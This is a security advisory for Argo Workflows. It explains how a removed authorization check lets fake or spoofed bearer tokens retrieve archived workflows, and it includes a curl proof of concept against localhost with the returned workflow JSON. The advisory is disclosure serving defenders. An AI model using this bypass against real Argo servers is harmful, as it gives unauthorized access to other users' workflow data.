GHSA-h36c-m3rf-34h9

### Summary

When using `--auth-mode=client`, Archived Workflows can be retrieved with a fake or spoofed token via the GET Workflow endpoint: `/api/v1/workflows/{namespace}/{name}`

When using `--auth-mode=sso`, all Archived Workflows can be retrieved with a valid token via the GET Workflow endpoint: `/api/v1/workflows/{namespace}/{name}`

### Details

No authentication is performed by the Server itself on `client` tokens[^1]. Authentication & authorization is instead delegated to the k8s API server. However, the [Workflow Archive](https://github.com/argoproj/argo-workflows/blob/52cca7e079a4f6d76db303ac550b1876e51b3865/server/workflowarchive/archived_workflow_server.go) does not interact with k8s, and so any token that [_looks_](https://github.com/argoproj/argo-workflows/blob/52cca7e079a4f6d76db303ac550b1876e51b3865/server/auth/mode.go#L37) [valid](https://github.com/argoproj/argo-workflows/blob/52cca7e079a4f6d76db303ac550b1876e51b3865/server/auth/gatekeeper.go#L185) will be considered authenticated, even if it is not a k8s token or even if the token has no RBAC for Argo. To handle the lack of pass-through k8s authN/authZ, the Workflow Archive specifically does [the equivalent of a `kubectl auth can-i`](https://github.com/argoproj/argo-workflows/blob/52cca7e079a4f6d76db303ac550b1876e51b3865/server/workflowarchive/archived_workflow_server.go#L50) check for respective methods.

In #12736 / v3.5.7 and #13021 / v3.5.8, the auth check was accidentally removed on the GET Workflow endpoint's fallback to archived workflows on [these lines](https://github.com/argoproj/argo-workflows/pull/13021/files#diff-a5b255abaceddc9cc20bf6da6ae92c3a5d3605d94366af503ed754c079a1171aL668-R715), allowing archived workflows to be retrieved with a fake token.

### PoC

#### Configuration

Controller `ConfigMap`: ```yaml config: | persistence: archive: true postgresql: database: argoworkflows host: db-host passwordSecret: key: postgresPassword name: argo-wf-postgres-credentials port: 5432 tableName: argo_workflows userNameSecret: key: username name: argo-wf-postgres-credentials ```

Server: `--auth-mode=client`

#### Reproduction

Visit a completed, archived workflow URL with an invalid authorization token, this results in the workflow being displayed.

For example, directly query the API and retrieve the workflow data (where `Bearer thisisatest` is not a valid token):

```sh curl -H 'Authorization: Bearer thisisatest' -v http://localhost:8000/api/v1/workflows/argo/hello-world-7tv5g ```

<details><summary>Results in a returned workflow:</summary>

``` * Host localhost:8000 was resolved. * IPv6: ::1 * IPv4: 127.0.0.1 * Trying [::1]:8000... * Connected to localhost (::1) port 8000 > GET /api/v1/workflows/argo/hello-world-7tv5g HTTP/1.1 > Host: localhost:8000 > User-Agent: curl/8.7.1 > Accept: */* > Authorization: Bearer thisisatest > * Request completely sent off < HTTP/1.1 200 OK < Content-Type: application/json < Grpc-Metadata-Content-Type: application/grpc < X-Ratelimit-Limit: 1000 < X-Ratelimit-Remaining: 999 < X-Ratelimit-Reset: Mon, 19 Aug 2024 20:44:27 UTC < Date: Mon, 19 Aug 2024 20:44:26 GMT < Transfer-Encoding: chunked < * Connection #0 to host localhost left intact { "metadata": { "name": "hello-world-7tv5g", "generateName": "hello-world-", "namespace": "argo", "uid": "e5868ab1-f820-4a9e-9407-162346a4ccb4", "resourceVersion": "9982", "generation": 3, "creationTimestamp": "2024-08-13T23:59:20Z", "labels": { "workflows.argoproj.io/archive-strategy": "false", "workflows.argoproj.io/completed": "true", "workflows.argoproj.io/phase": "Succeeded", "workflows.argoproj.io/workflow-archiving-status": "Persisted" }, "annotations": { "workflows.argoproj.io/description": "This is a simple hello world example.\n", "workflows.argoproj.io/pod-name-format": "v2" }, "managedFields": [ { "manager": "argo", "operation": "Update", "apiVersion": "argoproj.io/v1alpha1", "time": "2024-08-13T23:59:20Z", "fieldsType": "FieldsV1", "fieldsV1": { "f:metadata": { "f:annotations": { ".": {}, "f:workflows.argoproj.io/description": {} }, "f:generateName": {}, "f:labels": { ".": {}, "f:workflows.argoproj.io/archive-strategy": {} } }, "f:spec": {} } }, { "manager": "workflow-controller", "operation": "Update", "apiVersion": "argoproj.io/v1alpha1", "time": "2024-08-13T23:59:30Z", "fieldsType": "FieldsV1", "fieldsV1": { "f:metadata": { "f:annotations": { "f:workflows.argoproj.io/pod-name-format": {} }, "f:labels": { "f:workflows.argoproj.io/completed": {}, "f:workflows.argoproj.io/phase": {}, "f:workflows.argoproj.io/workflow-archiving-status": {} } }, "f:status": {} } } ] }, "spec": { "templates": [ { "name": "hello-world", "inputs": {}, "outputs": {}, "metadata": {}, "container": { "name": "", "image": "busybox", "command": [ "echo" ], "args": [ "hello world" ], "resources": {} } } ], "entrypoint": "hello-world", "arguments": {}, "serviceAccountName": "argo-workflow" }, "status": { "phase": "Succeeded", "startedAt": "2024-08-13T23:59:20Z", "finishedAt": "2024-08-13T23:59:30Z", "progress": "1/1", "nodes": { "hello-world-7tv5g": { "id": "hello-world-7tv5g", "name": "hello-world-7tv5g", "displayName": "hello-world-7tv5g", "type": "Pod", "templateName": "hello-world", "templateScope": "local/hello-world-7tv5g", "phase": "Succeeded", "startedAt": "2024-08-13T23:59:20Z", "finishedAt": "2024-08-13T23:59:24Z", "progress": "1/1", "resourcesDuration": { "cpu": 0, "memory": 3 }, "outputs": { "exitCode": "0" }, "hostNodeName": "kind-control-plane" } }, "conditions": [ { "type": "PodRunning", "status": "False" }, { "type": "Completed", "status": "True" } ], "resourcesDuration": { "cpu": 0, "memory": 3 }, "artifactRepositoryRef": { "default": true, "artifactRepository": {} }, "artifactGCStatus": { "notSpecified": true }, "taskResultsCompletionStatus": { "hello-world-7tv5g": true } } }% ```

</details>

### Impact

Users of the Server with `--auth-mode=client` and with `persistence.archive: true` are vulnerable to having Archived Workflows retrieved with a fake or spoofed token.

Users of the Server with `--auth-mode=sso` and with `persistence.archive: true` are vulnerable to users being able to access workflows they could not access before archiving.

[^1]: `sso` tokens, on the other hand, are [immediately "authorized"](https://github.com/argoproj/argo-workflows/blob/52cca7e079a4f6d76db303ac550b1876e51b3865/server/auth/gatekeeper.go#L207). The naming in the codebase is a bit confusing; it would be more appropriate to say "authenticated" in this case, as authorization is via SSO RBAC / SA matching / k8s API server. In this same section of the codebase, the `client` tokens are not authenticated, they are only validated. Authentication and authorization is done simultaneously for `client` tokens via the k8s API server.